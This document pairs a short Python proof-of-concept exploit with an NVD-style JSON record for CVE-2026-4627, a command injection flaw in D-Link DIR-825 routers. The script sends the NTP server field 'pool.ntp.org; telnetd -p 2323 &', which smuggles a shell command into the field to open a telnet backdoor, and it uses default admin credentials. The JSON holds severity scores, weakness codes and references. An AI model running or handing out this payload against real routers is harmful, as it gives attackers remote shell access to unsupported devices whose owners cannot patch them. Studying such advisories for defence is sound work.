CVE-2026-4627

import requests # Target configuration target_ip = "192.168.0.1" username = "admin" password = "admin" url = f"http://{target_ip}/goform/update_system_time" # The vulnerable parameter is likely the NTP server address # Injection payload: `; telnetd -p 2323 &` to start a telnet daemon payload = { "ntp_server": "pool.ntp.org; telnetd -p 2323 &" } # Send POST request with authentication (if required by PR:H) session = requests.Session() login_data = {"username": username, "password": password} # session.post(f"http://{target_ip}/login", data=login_data) try: response = session.post(url, data=payload, timeout=5) if response.status_code == 200: print("Payload sent successfully.") print("Check if telnet is running on port 2323.") else: print(f"Failed to send payload. Status code: {response.status_code}") except Exception as e: print(f"An error occurred: {e}")

{"cve": {"id": "CVE-2026-4627", "sourceIdentifier": "[email protected]", "published": "2026-03-24T05:16:24.687", "lastModified": "2026-04-24T16:32:53.997", "vulnStatus": "Deferred", "cveTags": [{"sourceIdentifier": "[email protected]", "tags": ["unsupported-when-assigned"]}], "descriptions": [{"lang": "en", "value": "A vulnerability was found in D-Link DIR-825 and DIR-825R 1.0.5/4.5.1. Affected is the function handler_update_system_time of the file libdeuteron_modules.so of the component NTP Service. The manipulation results in os command injection. The attack may be launched remotely. This vulnerability only affects products that are no longer supported by the maintainer."}, {"lang": "es", "value": "Se encontró una vulnerabilidad en D-Link DIR-825 y DIR-825R 1.0.5/4.5.1. Afecta a la función handler_update_system_time del archivo libdeuteron_modules.so del componente Servicio NTP. La manipulación resulta en inyección de comandos del sistema operativo. El ataque puede ser lanzado de forma remota. Esta vulnerabilidad solo afecta a productos que ya no tienen soporte por parte del mantenedor."}], "metrics": {"cvssMetricV40": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "4.0", "vectorString": "CVSS:4.0/AV:N/AC:L/AT:N/PR:H/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X", "baseScore": 8.6, "baseSeverity": "HIGH", "attackVector": "NETWORK", "attackComplexity": "LOW", "attackRequirements": "NONE", "privilegesRequired": "HIGH", "userInteraction": "NONE", "vulnConfidentialityImpact": "HIGH", "vulnIntegrityImpact": "HIGH", "vulnAvailabilityImpact": "HIGH", "subConfidentialityImpact": "NONE", "subIntegrityImpact": "NONE", "subAvailabilityImpact": "NONE", "exploitMaturity": "NOT_DEFINED", "confidentialityRequirement": "NOT_DEFINED", "integrityRequirement": "NOT_DEFINED", "availabilityRequirement": "NOT_DEFINED", "modifiedAttackVector": "NOT_DEFINED", "modifiedAttackComplexity": "NOT_DEFINED", "modifiedAttackRequirements": "NOT_DEFINED", "modifiedPrivilegesRequired": "NOT_DEFINED", "modifiedUserInteraction": "NOT_DEFINED", "modifiedVulnConfidentialityImpact": "NOT_DEFINED", "modifiedVulnIntegrityImpact": "NOT_DEFINED", "modifiedVulnAvailabilityImpact": "NOT_DEFINED", "modifiedSubConfidentialityImpact": "NOT_DEFINED", "modifiedSubIntegrityImpact": "NOT_DEFINED", "modifiedSubAvailabilityImpact": "NOT_DEFINED", "Safety": "NOT_DEFINED", "Automatable": "NOT_DEFINED", "Recovery": "NOT_DEFINED", "valueDensity": "NOT_DEFINED", "vulnerabilityResponseEffort": "NOT_DEFINED", "providerUrgency": "NOT_DEFINED"}}], "cvssMetricV31": [{"source": "[email protected]", "type": "Primary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:U/C:H/I:H/A:H", "baseScore": 7.2, "baseSeverity": "HIGH", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "HIGH", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "availabilityImpact": "HIGH"}, "exploitabilityScore": 1.2, "impactScore": 5.9}], "cvssMetricV2": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "2.0", "vectorString": "AV:N/AC:L/Au:M/C:C/I:C/A:C", "baseScore": 8.3, "accessVector": "NETWORK", "accessComplexity": "LOW", "authentication": "MULTIPLE", "confidentialityImpact": "COMPLETE", "integrityImpact": "COMPLETE", "availabilityImpact": "COMPLETE"}, "baseSeverity": "HIGH", "exploitabilityScore": 6.4, "impactScore": 10.0, "acInsufInfo": false, "obtainAllPrivilege": false, "obtainUserPrivilege": false, "obtainOtherPrivilege": false, "userInteractionRequired": false}]}, "weaknesses": [{"source": "[email protected]", "type": "Primary", "description": [{"lang": "en", "value": "CWE-77"}, {"lang": "en", "value": "CWE-78"}]}], "references": [{"url": "https://vuldb.com/?ctiid.352495", "source": "[email protected]"}, {"url": "https://vuldb.com/?id.352495", "source": "[email protected]"}, {"url": "https://vuldb.com/?submit.775794", "source": "[email protected]"}, {"url": "https://www.dlink.com/", "source": "[email protected]"}]}}